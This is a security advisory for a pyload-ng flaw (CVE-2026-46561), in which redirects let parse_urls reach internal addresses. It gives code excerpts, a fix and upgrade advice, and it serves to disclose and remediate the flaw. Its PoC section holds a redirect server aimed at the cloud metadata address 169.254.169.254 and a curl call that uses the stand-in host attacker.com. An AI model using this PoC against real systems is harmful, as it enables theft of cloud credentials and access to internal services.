---
id: CVE-2026-46561
aliases:
  - GHSA-8rp3-xc6w-5qp5
  - PYSEC-2026-2991
title: 'pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API'
summary: 'pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API'
severity: medium
cvss: 5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N'
vendor: pyload-ng
product: pyload-ng
ecosystem: pip
affected:
  - pyload-ng < 0.5.0b3.dev100
patched:
  - pyload-ng 0.5.0b3.dev100
published: '2026-05-21'
updated: '2026-07-13'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-8rp3-xc6w-5qp5'
references:
  - url: 'https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-46561'
  - url: 'https://github.com/pyload/pyload'
tags:
  - osv
  - pip
epss: 0.00293
epssPercentile: 0.19641
ingestedAt: '2026-07-13T18:57:55.298Z'
---

## Overview

## Summary

The SSRF mitigation added in commit `33c55da` for GHSA-7gvf-3w72-p2pg is incomplete. The `PREREQFUNCTION`-based private IP check was correctly applied to `HTTPChunk` (download path) but not to `HTTPRequest` (used by the `parse_urls` API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the `is_global_host()` check on the initial URL.

## Details

The `parse_urls` API method validates the initial URL hostname:

```python
# src/pyload/core/api/__init__.py:600-604
if url:
    urlp = urlparse(url)
    hostname = urlp.hostname
    if urlp.scheme in ("http", "https") and hostname and is_global_host(hostname):
        page = get_url(url)
```

`get_url()` is imported from `request_factory.py` and creates an `HTTPRequest` with default settings:

```python
# src/pyload/core/network/request_factory.py:58-64
def get_url(self, *args, **kwargs):
    with HTTPRequest(None, self.get_options()) as h:
        rep = h.load(*args, **kwargs)
    return rep
```

`HTTPRequest.__init__` sets `allow_private_ip = True` by default:

```python
# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = True
```

The `init_handle()` method enables redirect following:

```python
# src/pyload/core/network/http/http_request.py:117-118
self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)
```

The `_pre_request_callback` that should block redirects to private IPs is a no-op when `allow_private_ip` is `True`:

```python
# src/pyload/core/network/http/http_request.py:574-582
def _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):
    if not self.allow_private_ip and not is_global_address(conn_primary_ip):
        return pycurl.PREREQFUNC_ABORT
    return pycurl.PREREQFUNC_OK
```

The fix at commit `33c55da` correctly set `allow_private_ip = False` in `HTTPChunk` (http_chunk.py:136) for the download path, but `HTTPRequest` used by `RequestFactory.get_url()` retains the default of `True`, leaving the `parse_urls` API unprotected against redirect-based SSRF.

## PoC

```bash
# Step 1: Start a redirect server on attacker-controlled host
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()
HTTPServer(('0.0.0.0', 8888), H).serve_forever()
"

# Step 2: Authenticated user with ADD permission calls parse_urls
curl -X POST 'http://pyload-host:8000/api/parse_urls' \
  -H 'Cookie: session=<valid_session>' \
  -d 'url=http://attacker.com:8888/redirect'

# Expected flow:
# 1. is_global_host('attacker.com') -> True (passes validation)
# 2. get_url() creates HTTPRequest with allow_private_ip=True
# 3. pycurl fetches attacker.com:8888, receives 302 -> http://169.254.169.254/latest/meta-data/
# 4. _pre_request_callback runs but skips check (allow_private_ip=True)
# 5. pycurl follows redirect to cloud metadata endpoint
# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker
```

## Impact

An authenticated attacker with ADD permission can perform SSRF against:

- **Cloud metadata endpoints** (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets
- **Internal services** on private networks (e.g., `10.x.x.x`, `172.16.x.x`, `192.168.x.x`)
- **Localhost services** (`127.0.0.1`) running on the pyload server

Data exfiltration is partially limited by the `RE_URLMATCH` regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The `REDIR_PROTOCOLS` setting limits redirects to HTTP/HTTPS only.

## Recommended Fix

Set `allow_private_ip = False` in `RequestFactory.get_url()`:

```python
# src/pyload/core/network/request_factory.py
def get_url(self, *args, **kwargs):
    with HTTPRequest(None, self.get_options()) as h:
        h.allow_private_ip = False  # Prevent SSRF via redirects
        rep = h.load(*args, **kwargs)
    return rep
```

Alternatively, change the default in `HTTPRequest.__init__` to `False`:

```python
# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = False
```

The second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.

## Affected packages

- `pyload-ng < 0.5.0b3.dev100`

## Remediation

Upgrade to a patched release:

- `pyload-ng 0.5.0b3.dev100`
